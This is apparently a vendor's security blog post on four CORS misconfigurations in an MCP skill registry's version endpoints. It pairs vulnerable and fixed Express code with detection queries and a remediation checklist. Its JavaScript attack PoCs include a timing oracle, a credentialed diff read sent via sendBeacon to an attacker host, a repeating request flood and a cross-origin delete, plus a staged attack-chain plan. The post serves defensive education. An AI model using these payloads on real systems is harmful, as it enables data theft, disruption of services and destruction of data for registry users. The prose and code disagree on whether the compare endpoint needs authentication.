← Blog

CORS Misconfigurations in MCP Skill Registry Version Comparison and Diff Generation Endpoints

Version comparison and diff generation endpoints occupy a uniquely sensitive position in the MCP skill registry attack surface. Unlike most registry API surfaces where CORS misconfigurations expose data that is already partially visible in the UI, the version diff endpoint exposes data that is explicitly not supposed to be visible yet: the full implementation of an upcoming skill version that is still in the registry's review queue. When a skill maintainer submits a version bump for review, the diff between the current published version and the pending draft becomes visible in the registry's internal review workflow — and that diff may contain the complete implementation of a security patch, the reproduction steps for a vulnerability that registry moderators discovered during code review, and the tentative disclosure timeline that the trust-and-safety team is coordinating with the skill author. A CORS misconfiguration on this endpoint does not just expose internal business information: it actively undermines the coordinated vulnerability disclosure process that the registry depends on to protect its consumer base. The four SA-SKL-CORS73 findings map a complete exploit path from reconnaissance to impact: a timing oracle on the changelog endpoint identifies which skills have pending releases in the review queue and are therefore worth targeting, credential-bearing CORS on the diff endpoint extracts the full pending diff including security patch implementation before the fix reaches consumers, wildcard ACAO on the version comparison endpoint exhausts the diff worker pool to disrupt the registry and mask the exfiltration activity, and credential-bearing CORS on the version deletion endpoint permanently breaks all consumer integrations pinned to the targeted version identifiers.

By SkillAudit  |  26 Nov 2026  |  20 min read

In this post

  1. Version comparison endpoints and why CORS is catastrophic here
  2. CORS73-003 — Timing oracle on the changelog endpoint maps pending-release skills as high-value targets
  3. CORS73-001 — Credential-bearing CORS on the diff endpoint exposes pre-release security patches
  4. CORS73-002 — Wildcard ACAO on the version comparison endpoint causes diff worker pool DoS
  5. CORS73-004 — Credential-bearing CORS on version deletion breaks all pinned consumer integrations
  6. Compound four-stage attack chain
  7. Detection with SkillAudit AST queries
  8. Summary and remediation checklist
SA-SKL-CORS73 findings at a glance
CRITICALCORS73-001 — GET /api/skills/:id/versions/diff has cors({origin:true,credentials:true}); any origin reads full version diff including pending unpublished changes, internal moderator review notes, and security patch implementation details using victim admin session; exposes vulnerability details before public disclosure window closes
HIGHCORS73-002 — POST /api/skills/:id/versions/compare has ACAO:*; any page fires diff computation jobs under victim admin identity; 300 simultaneous jobs exhaust the diff worker pool producing denial-of-service condition against the version comparison service for all registry users
MEDIUMCORS73-003 — GET /api/skills/:id/versions/changelog reflects Origin before ownership check; pending release hot-cache (~8ms) versus idle cold-storage (~200ms) creates timing oracle readable from any origin via Performance API; maps all pending-release skills as high-value diff exfiltration targets
CRITICALCORS73-004 — DELETE /api/skills/:id/versions/:versionId has cors({origin:true,credentials:true}); any origin permanently deletes published skill versions; all consumers pinned to deleted version identifiers receive 404s; wide-blast denial of service against downstream consumer integrations

Version comparison endpoints and why CORS is catastrophic here

To understand the specific threat model of CORS misconfigurations on version comparison and diff generation endpoints, it is necessary to understand what a skill version diff contains and why the registry keeps part of it private.

When a skill author submits a new version to a registry for review, the registry computes and stores a diff object representing the transition from the current published version to the pending draft. This diff object serves multiple purposes: it is the primary review artifact that registry moderators examine when deciding whether to approve the version for publication, it is the source document from which the registry generates consumer-facing changelog entries, and it is the basis for the registry's automated security analysis pass that runs static checks on new code introduced in the version bump.

The diff object contains two classes of fields. The first class is public-after-approval: the structured code change summary, the declared API changes, the dependency delta, and the final approved changelog text. These fields become visible to all registry users once the version is published. The second class is permanently internal: the registry moderator's review notes (which may include vulnerability reproduction steps the reviewer discovered during code analysis), the security advisory draft that the trust-and-safety team is preparing for coordinated disclosure, the tentative disclosure timeline, and the full implementation of any security-related changes that the author has not yet publicly acknowledged. This second class of fields is explicitly excluded from the public diff response and is only accessible to registry staff and the skill author through authenticated internal tooling.

A CORS misconfiguration on the diff endpoint that allows any cross-origin request to read the full diff object including internal fields does not just violate the registry's access control model — it directly undermines the coordinated vulnerability disclosure process. When a registry moderator discovers a remotely-exploitable vulnerability in a popular skill during a routine code review, the standard response is to notify the skill author privately, begin drafting a security advisory, and schedule a coordinated release that patches the vulnerability and publishes the advisory simultaneously. The entire value of this process depends on the patch reaching consumers before the vulnerability details become public. If a CORS misconfiguration allows an attacker to read the pending diff the moment a reviewer begins drafting the advisory, the attacker has a window of hours to days to exploit every installation of the affected skill version while the registry review process plays out. The impact is not bounded to the registry itself; it extends to every organization that has deployed the affected skill in their Claude agent infrastructure.

The version deletion endpoint compounds the picture. MCP skills deployed in enterprise Claude agent environments are almost always pinned to exact version identifiers in configuration files and CI pipelines. This pinning is intentional: it prevents surprise breakage from automatic version bumps and allows teams to audit changes at their own pace. When an attacker can delete a published version via CORS-exploited deletion, the immediate consequence is that every consumer pinned to that version begins receiving 404 responses from the registry when their agent tries to load the skill definition. For skills that are loaded at agent startup time, this manifests as complete agent unavailability. For skills that are loaded on demand, it manifests as intermittent failures that are difficult to diagnose because the absence of a resource is harder to trace than a malformed response.

CORS73-003 — Timing oracle on the changelog endpoint maps pending-release skills as high-value targets

The timing oracle is the first stage of the compound attack chain because it eliminates the need for the attacker to already know which skills have pending security-related version releases in the registry's review queue. Without the timing oracle, the attacker would need to either obtain insider information about the review queue or perform indiscriminate diff exfiltration across all skill IDs, generating high volumes of authenticated requests that would trigger the registry's anomaly detection. With the timing oracle, the attacker can silently identify the specific subset of skills where credential-bearing CORS diff exfiltration will yield the highest-value results — those with active pending releases that contain unpublished security patch implementations.

The mechanism is a cache-latency side channel. The registry's release pipeline background worker maintains a hot changelog cache for every skill that has a pending version in the review queue. When a reviewer begins examining a pending version, the background worker computes the changelog summary and stores it in a Redis hot cache with a key derived from the skill ID. This cache entry is updated each time the reviewer adds comments or the author pushes additional commits. When the GET /api/skills/:id/versions/changelog endpoint receives a request for a skill with an active review, it serves the changelog from the Redis hot cache, which responds in approximately 8ms. When it receives a request for a skill with no pending activity, it falls through to cold storage, which responds in approximately 200ms.

The critical flaw is that the endpoint reflects the Origin header as an Access-Control-Allow-Origin value before the ownership or authentication check runs. This means an attacker page can send a cross-origin request to the changelog endpoint and observe the response time via performance.getEntriesByType('resource') even though the CORS check ultimately fails (because the ownership check that runs after the CORS reflection will reject the request). The browser applies CORS restrictions to the response body, not to the response timing metadata — so the latency is visible to attacker JavaScript regardless of whether the response body is readable.

Vulnerable
// CORS73-003 — VULNERABLE: Origin reflected before ownership check
router.get(
  '/versions/changelog',
  (req, res, next) => {
    // VULNERABLE: CORS reflection happens here, before auth/ownership
    res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.set('Access-Control-Allow-Credentials', 'true');
    res.set('Vary', 'Origin');
    next();
  },
  requireSession,
  requireOwnership('skillId'), // ownership check runs too late
  async (req, res) => {
    // hot cache (~8ms) for skills with pending releases; cold (~200ms) otherwise
    const changelog = await changelogCache.get(`changelog:${req.params.id}`);
    res.json(changelog);
  }
);

Attack PoC — CORS73-003: The attacker probes a list of skill IDs measuring changelog response latency from an arbitrary origin page. Skills returning under 20ms are flagged as having pending version releases in the review queue — these are the highest-value targets for CORS73-001 credential-bearing diff exfiltration. The timing measurement works even though the CORS check ultimately blocks the response body, because HTTP response timing is captured before the browser enforces CORS restrictions on the response content.

// CORS73-003 — TIMING ORACLE PoC
async function findPendingReleaseSkills(skillIds) {
  const pendingReleaseTargets = [];
  for (const skillId of skillIds) {
    const entry = {
      startTime: performance.now(),
      name: `https://registry.example.com/api/skills/${skillId}/versions/changelog`,
    };
    try {
      await fetch(entry.name, { credentials: 'include', mode: 'no-cors' });
    } catch (_) {}
    const latency = performance.now() - entry.startTime;
    if (latency < 20) {
      // hot changelog cache = pending version release = high-value diff target
      pendingReleaseTargets.push({ skillId, latency, hasPendingRelease: true });
    }
  }
  return pendingReleaseTargets;
}

// stage 1: probe all skill IDs from the registry's public skill listing
const targets = await findPendingReleaseSkills(publicSkillIds);
// stage 2: hand pending-release targets to CORS73-001 for diff exfiltration
Fixed
// CORS73-003 — FIXED: ownership check runs before CORS reflection
router.get(
  '/versions/changelog',
  requireSession,
  requireOwnership('skillId'), // ownership validated FIRST
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }), // allowlist after auth
  async (req, res) => {
    const changelog = await changelogCache.get(`changelog:${req.params.id}`);
    // constant-time floor eliminates cache-latency side channel for authenticated requests too
    const elapsed = Date.now() - req._startTime;
    await new Promise(r => setTimeout(r, Math.max(0, 60 - elapsed)));
    res.json(changelog);
  }
);

The fix requires two independent changes. First, the ownership check must run before any CORS header is emitted. The current code reflects the Origin header as part of a middleware chain that executes before the ownership check; reversing the order eliminates the timing oracle entirely because a request from an unauthorized origin never reaches the cache lookup, and the response time for unauthorized requests is determined by the ownership check latency, not the cache state. Second, a constant-time response floor of 60ms eliminates the cache-latency differential as a side channel: ownership-validated responses are padded to at minimum 60ms regardless of whether the changelog was served from hot or cold storage. Even if the ownership check order were mistakenly reversed in a future refactor, the cache-latency differential would be undetectable to an external timing observer.

CORS73-001 — Credential-bearing CORS on the diff endpoint exposes pre-release security patches

Once the timing oracle has identified which skills have pending version releases in the review queue, the second stage of the compound attack chain exploits CORS73-001 to extract the full pending diff including internal moderator review notes and security patch implementation details. The GET /api/skills/:id/versions/diff endpoint accepts from and to query parameters specifying the version identifiers to diff and returns a structured object representing all changes between those versions. The endpoint is configured with cors({origin:true,credentials:true}), the Express CORS middleware's shorthand for "reflect whatever Origin the request presents as Access-Control-Allow-Origin and also set Access-Control-Allow-Credentials: true." This configuration allows any cross-origin page to read the full response body by borrowing the victim admin's session cookie.

The diff endpoint's response schema includes both the public-after-approval fields and the permanently-internal fields in the same response object. The internalReviewNotes field contains the registry moderator's comments about the version under review, written in the assumption that they will never be visible to anyone outside the registry's trust-and-safety team. These notes may contain: the exact line number and function name where a vulnerability was identified, a proof-of-concept exploit the reviewer constructed to verify the finding, the reviewer's assessment of the vulnerability's severity and exploitability, and the team's internal timeline for coordinating the disclosure with the skill author. The pendingChanges field contains the full implementation of changes in the draft version, including the specific code change that patches the vulnerability. The securityPatchDetails field contains the structured security advisory draft that the team will publish alongside the patched version.

An attacker who reads the pending diff for a skill in active security review has everything they need to exploit every installation of the current published version before the patch is released. The disclosed vulnerability is fully described, the patch is visible (and therefore the vulnerability's location and nature are unambiguous), and the disclosure timeline tells the attacker exactly how long they have before the fix becomes generally available. This is a qualitatively more dangerous outcome than most CORS credential exfiltration scenarios, because the harm is not bounded to the registry user whose session was borrowed — it extends to every organization using the affected skill.

Vulnerable
// CORS73-001 — VULNERABLE
router.get(
  '/versions/diff',
  cors({ origin: true, credentials: true }), // any origin reads full diff including internal fields
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { from, to } = req.query;
    const diff = await diffEngine.compute({
      skillId: req.params.id,
      fromVersion: from,
      toVersion: to,
      // VULNERABLE: includes draft versions; returns all fields including internal ones
    });
    res.json(diff); // contains internalReviewNotes, pendingChanges, securityPatchDetails
  }
);

Attack PoC — CORS73-001: The attacker hosts the following on evil.example.com and social-engineers a registry admin or moderator into visiting while logged into the registry. The timing oracle from CORS73-003 has already identified the target skill as having a pending version release. The response includes the full pending diff with internal review notes, vulnerability reproduction details, and the complete security patch implementation before public disclosure.

// CORS73-001 — ATTACK PoC (runs on attacker page while victim admin is logged in)
// targetSkillId was identified by CORS73-003 timing oracle as having a pending release
const targetSkillId = pendingReleaseTargets[0].skillId;

// Step 1: enumerate version identifiers (may itself be CORS-exposed on a different endpoint)
const versionsResp = await fetch(
  `https://registry.example.com/api/skills/${targetSkillId}/versions`,
  { credentials: 'include' }
);
const versions = await versionsResp.json();
// Find the draft version identifier (e.g. "1.5.0-draft" or "1.5.0-rc.1")
const draftVersion = versions.find(v => v.status === 'draft')?.tag;
const latestPublished = versions.filter(v => v.status === 'published')
  .sort((a, b) => b.publishedAt - a.publishedAt)[0]?.tag;

// Step 2: request diff from published to draft — exposes all internal fields
const diffResp = await fetch(
  `https://registry.example.com/api/skills/${targetSkillId}/versions/diff` +
  `?from=${latestPublished}&to=${draftVersion}`,
  { credentials: 'include' }
);
const diff = await diffResp.json();

// Exfiltrate all pre-disclosure security information in one beacon
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
  skillId:              targetSkillId,
  targetVersion:        draftVersion,
  internalReviewNotes:  diff.internalReviewNotes,   // moderator vuln analysis
  pendingChanges:       diff.pendingChanges,         // full patch implementation
  securityPatchDetails: diff.securityPatchDetails,   // advisory draft + CVE details
  disclosureDate:       diff.reviewMetadata?.scheduledDisclosureDate,
}));
Fixed
// CORS73-001 — FIXED
const REGISTRY_ORIGIN = process.env.REGISTRY_ORIGIN;

router.get(
  '/versions/diff',
  requireSession,                                      // auth first
  requireOwnership('skillId'),                         // ownership second
  cors({ origin: REGISTRY_ORIGIN, credentials: true }), // allowlist third
  async (req, res) => {
    const { from, to } = req.query;

    // FIXED: reject draft-targeting diffs unless the requester owns the skill
    const toVersion = await db.skillVersions.findOne({
      where: { skillId: req.params.id, tag: to },
      select: { status: true },
    });
    if (toVersion?.status === 'draft' && !req.session.isOwner) {
      return res.status(403).json({ error: 'Draft diffs restricted to skill owner' });
    }

    const diff = await diffEngine.compute({
      skillId: req.params.id,
      fromVersion: from,
      toVersion: to,
    });

    // FIXED: strip all internally-classified fields before sending response
    const {
      internalReviewNotes,
      pendingChanges,
      securityPatchDetails,
      reviewMetadata,
      ...publicDiff
    } = diff;

    res.json(publicDiff);
  }
);

The fix applies three independent mitigations. The CORS allowlist restricts cross-origin reads to the registry's own origin, eliminating any external access to diff data via browser credential borrowing. The ownership check and session authentication run before the CORS middleware, so a request from an unauthorized origin is rejected before the cache is queried. And the response schema is narrowed to exclude all internally-classified fields by name, so that even if the allowlist were misconfigured in a future change, the security advisory draft, moderator review notes, and patch implementation would not be present in the response body. Defense-in-depth: each of the three mitigations independently prevents the attack if the other two are accidentally removed.

CORS73-002 — Wildcard ACAO on the version comparison endpoint causes diff worker pool DoS

With the pending diff exfiltrated, the third stage of the compound attack chain exploits CORS73-002 to disrupt the registry's version comparison service, both as a disruption operation in its own right and as a means of masking the CORS73-001 exfiltration activity by generating high volumes of apparently legitimate API traffic from the same session. The POST /api/skills/:id/versions/compare endpoint is configured with a wildcard Access-Control-Allow-Origin: * header. Because the wildcard ACAO is not paired with Access-Control-Allow-Credentials: true, requests to this endpoint do not carry the victim's session cookie — but the endpoint accepts them anyway, because it was designed to serve the registry's public comparison UI that allows unauthenticated users to compare any two published versions of a public skill.

The design flaw is that the endpoint always forces a fresh diff computation regardless of cache state, via a forceRecompute: true flag hardcoded in the handler. This was added to support a "force refresh" button in the UI intended for registry moderators who want to verify that a recomputed diff matches a previously-cached result during the review process. The intent was correct but the implementation is global: all requests to the compare endpoint, including unauthenticated requests, force fresh computation. Each comparison job allocates a worker thread from the diff worker pool for the duration of the computation, which is typically 300–800ms for a skill of average size. The worker pool has a fixed concurrency limit (typically 50–100 workers depending on deployment size). An attacker who fires 300 simultaneous compare requests exhausts the entire pool for the duration of the computation burst, rendering the version comparison service unavailable for all registry users during that window. Because the endpoint accepts unauthenticated requests, the attacker does not need a victim admin session for this stage — though the attacker page can still borrow the victim session to make the requests appear to come from a legitimate authenticated user, complicating detection.

Vulnerable
// CORS73-002 — VULNERABLE
router.post(
  '/versions/compare',
  cors(),   // VULNERABLE: wildcard ACAO — any origin, any page submits compare jobs
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { versionA, versionB } = req.body;
    // VULNERABLE: no rate limit; always forces fresh computation regardless of cache state
    const result = await diffWorkerPool.dispatch({
      skillId: req.params.id,
      versionA,
      versionB,
      forceRecompute: true, // exhausts worker pool under rapid-fire requests
    });
    res.json(result);
  }
);

Attack PoC — CORS73-002: The attacker floods the diff computation worker pool using the compare endpoint, rendering the version comparison service unavailable for all registry users. The attack requires only a single victim page visit and completes in under one second of execution time. Because the compare endpoint accepts wildcard-origin requests, the attacker does not need a victim admin session for this stage.

// CORS73-002 — ATTACK PoC
async function floodDiffWorkerPool(skillId, vA, vB, concurrency = 300) {
  const endpoint =
    `https://registry.example.com/api/skills/${skillId}/versions/compare`;

  // Fire all comparison jobs simultaneously — saturates diff worker pool
  const jobs = Array.from({ length: concurrency }, () =>
    fetch(endpoint, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include', // borrow victim session to appear legitimate
      body: JSON.stringify({ versionA: vA, versionB: vB }),
    }).catch(() => {})
  );

  await Promise.all(jobs);
  // Worker pool exhausted; diff service unavailable for ~300-800ms per wave
  // Repeat to maintain sustained DoS across the entire review window
}

setInterval(() => floodDiffWorkerPool('target-skill-id', '1.0.0', '1.4.2'), 500);
Fixed
// CORS73-002 — FIXED
router.post(
  '/versions/compare',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  csrfProtection,
  rateLimit({
    windowMs: 60_000,
    max: 10,
    keyGenerator: req => req.session.userId,
    message: { error: 'Rate limit exceeded for version comparison' },
  }),
  async (req, res) => {
    const { versionA, versionB } = req.body;

    // FIXED: serve from cache when available; forceRecompute gated behind admin flag
    const cacheKey = `diff:${req.params.id}:${versionA}:${versionB}`;
    const cached = await diffCache.get(cacheKey);
    if (cached) return res.json(cached);

    const result = await diffWorkerPool.dispatch({
      skillId: req.params.id,
      versionA,
      versionB,
      forceRecompute: false, // only allowed for registry staff via separate admin endpoint
    });
    await diffCache.set(cacheKey, result, { ttl: 3600 });
    res.json(result);
  }
);

The fix applies four independent mitigations. The CORS allowlist prevents cross-origin compare requests from any origin other than the registry itself. The session authentication and ownership check gate access to the endpoint on a valid authenticated session and skill ownership, eliminating unauthenticated DoS paths. The per-user rate limit of 10 compare requests per minute prevents any single user session from saturating the worker pool. And the cache-first dispatch policy means that subsequent requests for the same version pair are served from the cache without touching the worker pool, so an attacker who attempts the same version pair repeatedly will hit the cache floor rather than spawning new computation jobs.

CORS73-004 — Credential-bearing CORS on version deletion breaks all pinned consumer integrations

The fourth finding in the SA-SKL-CORS73 chain targets the version deletion endpoint, and its impact is felt not by the registry itself but by every organization that has deployed a skill version that an attacker targets for deletion. The DELETE /api/skills/:id/versions/:versionId endpoint is configured with cors({origin:true,credentials:true}), mirroring the CORS73-001 misconfiguration but on a mutation endpoint. Any cross-origin page can invoke this endpoint using a victim admin's session cookie, permanently removing a published version from the registry's storage and routing tables.

The practical consequence of version deletion for downstream consumers is severe and non-obvious until it is experienced. MCP skills deployed in enterprise Claude agent environments are almost universally pinned to exact version identifiers. This is not an oversight; it is a deliberate operational decision that reflects hard lessons from earlier software ecosystems where unpinned dependencies caused surprise breakage during automated updates. When an agent's skill configuration specifies version 1.4.2 of a skill and that version is deleted from the registry, every agent that tries to load the skill definition from the registry receives a 404 response. For agents that load skill definitions at startup time, the entire agent becomes unavailable until a human updates the pinned version in the configuration files and redeploys. For agents that load skill definitions on-demand when a tool call is made, the failure manifests as a tool call error at unpredictable times during active agent operation, which is significantly harder to diagnose than a startup-time failure because it appears to be an intermittent availability problem rather than a configuration problem.

The wide-blast impact is what distinguishes CORS73-004 from most CORS-on-mutation-endpoint findings. Deleting a version does not just harm the skill author or the registry moderator whose session was borrowed; it harms every organization in every Claude agent deployment that happens to have that version pinned. A popular skill version pinned by hundreds of enterprise deployments becomes a denial-of-service weapon against all of them simultaneously via a single CORS-exploited delete request.

Vulnerable
// CORS73-004 — VULNERABLE
router.delete(
  '/versions/:versionId',
  cors({ origin: true, credentials: true }), // any origin deletes published versions
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { id: skillId, versionId } = req.params;
    // VULNERABLE: hard delete — immediately removes version from registry
    await db.skillVersions.delete({ where: { id: versionId, skillId } });
    await versionCache.del(`version:${versionId}`);
    res.json({ deleted: true });
  }
);

Attack PoC — CORS73-004: The attacker has identified the target skill and a widely-pinned published version identifier from prior reconnaissance. The following script runs on the attacker's page while a skill admin is logged in, permanently deleting the pinned version and triggering a wide-blast 404 denial-of-service condition for all consumers pinned to that version.

// CORS73-004 — ATTACK PoC
// targetSkillId and targetVersionId obtained from public registry listing
// or from CORS73-001 diff exfiltration (versions list in diff metadata)
const targetSkillId  = 'popular-mcp-skill-id';
const targetVersionId = 'v1.4.2'; // the version pinned by hundreds of enterprise deployments

await fetch(
  `https://registry.example.com/api/skills/${targetSkillId}/versions/${targetVersionId}`,
  {
    method: 'DELETE',
    credentials: 'include', // borrows victim admin session cookie
  }
);
// All consumers pinned to v1.4.2 now receive 404 on skill definition load
// Enterprise Claude agent deployments fail at startup or on first tool call
Fixed
// CORS73-004 — FIXED
router.delete(
  '/versions/:versionId',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  reAuthRequired({ maxAgeSeconds: 300 }), // re-auth within last 5 minutes required for deletes
  async (req, res) => {
    const { id: skillId, versionId } = req.params;
    const version = await db.skillVersions.findOne({
      where: { id: versionId, skillId },
      select: { status: true, pinnedConsumerCount: true },
    });

    // FIXED: refuse hard-delete of versions with active pinned consumers
    if (version.pinnedConsumerCount > 0) {
      return res.status(409).json({
        error: 'Version has active pinned consumers',
        pinnedConsumerCount: version.pinnedConsumerCount,
        hint: 'Use soft-deprecation and schedule consumer notification instead',
      });
    }

    // FIXED: soft-delete with 30-day recovery window instead of hard delete
    await db.skillVersions.update({
      where: { id: versionId, skillId },
      data: {
        status: 'pending_deletion',
        scheduledDeletionAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
        deletionRequestedBy: req.session.userId,
      },
    });
    // Notify all pinned consumers of pending deletion with recovery timeline
    await notifyPinnedConsumers(versionId, { scheduledDeletionDays: 30 });
    // Invalidate routing caches after soft-delete
    await versionCache.del(`version:${versionId}`);

    res.json({
      softDeleted: true,
      recoveryWindowDays: 30,
      notifiedConsumers: version.pinnedConsumerCount,
    });
  }
);

The fix applies five independent mitigations. The CORS allowlist prevents cross-origin delete requests. The ownership check and session authentication gate access on a valid authenticated session. The re-authentication requirement within the last 5 minutes prevents an attacker from silently exploiting a session cookie that the victim left open hours before the attack. The pinned-consumer count check refuses hard deletion of any version that has active consumers, requiring the registrant to handle consumer notification before deletion is permitted. And the soft-delete with 30-day recovery window ensures that even a deletion that bypasses the consumer count check does not immediately break consumer integrations — the version remains accessible during the recovery window, and all consumers receive notification of the pending deletion with time to update their pinned version identifiers.

Compound four-stage attack chain

The four SA-SKL-CORS73 findings are individually exploitable, but their combination produces an attack chain that is qualitatively more damaging than any of the individual stages because each stage either amplifies the impact of subsequent stages or provides cover for the overall operation.

Stage Finding What it does What it enables
1 CORS73-003 Timing oracle identifies skills with pending version releases in review queue Narrows target list to skills where diff exfiltration yields security patch details; eliminates broad-scan anomaly detection
2 CORS73-001 Credential-bearing CORS exfiltrates full pending diff including internal review notes and security patch implementation Provides complete exploitation roadmap for unfixed vulnerability with disclosure timeline; enables targeted attacks against all skill consumers before patch releases
3 CORS73-002 Wildcard ACAO exhausts diff worker pool via rapid-fire comparison requests Disrupts registry during the exploitation window; masks CORS73-001 credential exfiltration activity in audit logs behind high-volume legitimate-looking API traffic
4 CORS73-004 Credential-bearing CORS permanently deletes the published vulnerable version Removes the evidence artifact (the vulnerable version) from the registry; prevents retroactive analysis; triggers wide-blast 404 DoS against all consumers pinned to the now-deleted version as a disruption operation

The complete attack executes within a single page visit by a victim admin or registry moderator to the attacker's page. The timing oracle probe runs in under 10 seconds for a list of 1,000 skill IDs. The credential-bearing diff exfiltration completes in under 500ms. The worker pool DoS is sustained for as long as the victim's tab remains open. The version deletion completes in under 200ms. Total time from first probe to completed version deletion: under 15 seconds of wall-clock time, with no browser prompts, no visible UI changes on the victim's end, and no immediate error signals that would alert the victim that their session has been exploited.

Compound chain timeline: An attacker operating the full CORS73 chain against a registry with an active security review in progress completes reconnaissance, diff exfiltration, worker pool disruption, and version deletion in under 15 seconds. The registry's access logs will show a burst of API requests attributed to the victim admin's session, all of which are individually consistent with normal review-related activity. The only anomalous signal is the volume of compare requests and the version deletion, neither of which trips standard abuse thresholds without specific rate-limiting and re-authentication rules in place.

Detection with SkillAudit AST queries

All four SA-SKL-CORS73 findings share a common root cause: CORS middleware or header reflection that runs before authentication and ownership checks in Express router middleware chains. SkillAudit's static analysis engine detects these patterns via three AST query classes.

Query class 1: CORS-before-auth middleware ordering. This query class traverses the middleware array in every Express router.get, router.post, router.put, router.patch, and router.delete call site and checks whether a CORS middleware invocation (detected by function name matching cors or corsMiddleware, or by the pattern res.set('Access-Control-Allow-Origin', ...)) appears at a lower array index than any middleware that matches authentication or ownership check patterns (detected by function name matching requireSession, requireAuth, authenticate, requireOwnership, checkOwnership, or verifyOwnership). Any match is flagged as a potential CORS73-class ordering vulnerability.

Query class 2: Origin reflection patterns. This query class identifies call sites where req.headers.origin is passed directly as the value argument to res.set('Access-Control-Allow-Origin', ...) or res.setHeader('Access-Control-Allow-Origin', ...), as well as cors({origin: true}) and cors({origin: req => req.getHeader('origin')}) patterns. These patterns are flagged as credential-bearing CORS reflection regardless of their middleware position, because even when the ownership check runs first, the origin reflection means the CORS policy is derived from the attacker-controlled request rather than from a server-side allowlist.

Query class 3: Mutation endpoints with permissive CORS. This query class identifies router.post, router.put, router.patch, and router.delete call sites that include any CORS middleware or header with a value that is not a string literal or a reference to an environment variable named REGISTRY_ORIGIN, ALLOWED_ORIGIN, or similar allowlist patterns. Wildcard ACAO: * and origin-reflection patterns on mutation endpoints are flagged as HIGH regardless of the endpoint's authentication state, because even authenticated mutation endpoints with permissive CORS are vulnerable to CSRF-class attacks when CORS replaces rather than complements CSRF token validation.

SkillAudit tip: Run a free audit on your MCP skill's registry integration at skillaudit.dev to surface CORS ordering issues, credential-bearing reflection patterns, and mutation-endpoint CORS misconfigurations in under 60 seconds. The audit report includes a middleware ordering diagram that shows exactly where each CORS header is emitted relative to your authentication and ownership middleware, making CORS73-class findings immediately actionable without manual code tracing. See also SA-SKL-CORS73 for the full finding reference.

Summary and remediation checklist

The four SA-SKL-CORS73 findings share a single remediable root cause — CORS configuration that runs before or independent of authentication and ownership checks — and a consistent fix pattern: always authenticate and authorize before emitting any CORS headers. The specific implementation requirements differ between the credential-bearing findings (CORS73-001, CORS73-004) and the DoS findings (CORS73-002, CORS73-003), but the ordering invariant is the same for all four.

Finding Severity Root cause Primary fix Defense-in-depth
CORS73-001 CRITICAL cors({origin:true,credentials:true}) before ownership check CORS allowlist; auth before CORS emission Strip internal fields from response schema; reject draft-targeting diffs from non-owners
CORS73-002 HIGH Wildcard ACAO on forced-recompute mutation endpoint; no rate limit CORS allowlist; per-user rate limit Cache-first dispatch; forceRecompute gated behind admin role; CSRF token
CORS73-003 MEDIUM Origin reflection before ownership check creates cache-latency side channel Ownership check before CORS reflection Constant-time response floor eliminates latency differential
CORS73-004 CRITICAL cors({origin:true,credentials:true}) before ownership check; hard delete CORS allowlist; auth before CORS; re-auth requirement Refuse delete with active pinned consumers; soft-delete with 30-day recovery; consumer notification

Remediation checklist

  1. Audit every route handler in your registry API surface for CORS middleware or res.set('Access-Control-Allow-Origin', ...) calls that appear before requireSession, requireAuth, requireOwnership, or equivalent middleware in the middleware array. Flag every instance for reordering.
  2. Replace all cors({origin: true}), cors({origin: (req, cb) => cb(null, req.headers.origin)}), and inline res.set('Access-Control-Allow-Origin', req.headers.origin) patterns with explicit allowlists: cors({origin: process.env.REGISTRY_ORIGIN, credentials: true}).
  3. Audit all router.post, router.put, router.patch, and router.delete endpoints for ACAO: *. Mutation endpoints must never have wildcard ACAO, regardless of whether they are authenticated or unauthenticated. Replace with an allowlist or remove entirely.
  4. Add per-user rate limits to all compute-intensive mutation endpoints. Version comparison and diff generation endpoints should enforce a maximum of 10 requests per user per 60-second window, implemented with a Redis-backed rate limiter keyed on session user ID.
  5. Add CSRF token validation to all mutation endpoints that accept requests from browser contexts. CORS configuration is not a substitute for CSRF protection; both are required independently.
  6. Add re-authentication requirements (maximum 5 minutes since last credential entry) to all version deletion, permission revocation, and other high-impact mutation endpoints.
  7. Implement soft-delete with a minimum 30-day recovery window for any version deletion operation. Refuse hard deletion of versions with active pinned consumer counts greater than zero.
  8. Implement consumer notification workflows that alert all organizations pinned to a version when that version is soft-deleted or deprecated, including a recovery timeline and migration guidance.
  9. Audit the diff endpoint response schema to enumerate all internally-classified fields (review notes, security advisory drafts, pending changes for draft versions) and add a response-field allowlist that explicitly excludes them from all public API responses. Use Zod or similar schema validation to enforce the allowlist at the serialization boundary.
  10. Implement constant-time response floors on all endpoints whose cache state reflects access-controlled information (pending release status, review queue position, internal draft existence). A floor of 60ms is sufficient to mask the hot-cache vs cold-storage latency differential in most registry deployment configurations.
  11. Add middleware-ordering integration tests that assert the order of middleware functions in every Express router. Test that CORS middleware always appears after authentication and ownership middleware. These tests run in CI and prevent future regressions from accidentally re-introducing the CORS73-class ordering pattern.
  12. Run SkillAudit's automated registry security analysis on every version bump before merging to the main registry deployment. The CORS ordering, timing oracle, and mutation endpoint checks run in the static analysis pass and surface new instances of these patterns before they reach production.

The SA-SKL-CORS73 findings illustrate how CORS misconfigurations on version management endpoints carry a qualitatively different threat model than CORS misconfigurations on profile or listing endpoints. The impact is not bounded to the registry user whose session is borrowed; in the case of the diff exfiltration it extends to every organization using a skill whose security patch details were prematurely disclosed, and in the case of the version deletion it extends to every organization that has that version pinned in their Claude agent deployment. Building and operating a trustworthy MCP skill registry means treating version comparison and deletion endpoints with the same care as credential and payment endpoints: allowlisted CORS, authentication before header emission, re-authentication before high-impact mutations, and soft-delete with consumer notification to bound the blast radius of any deletion operation.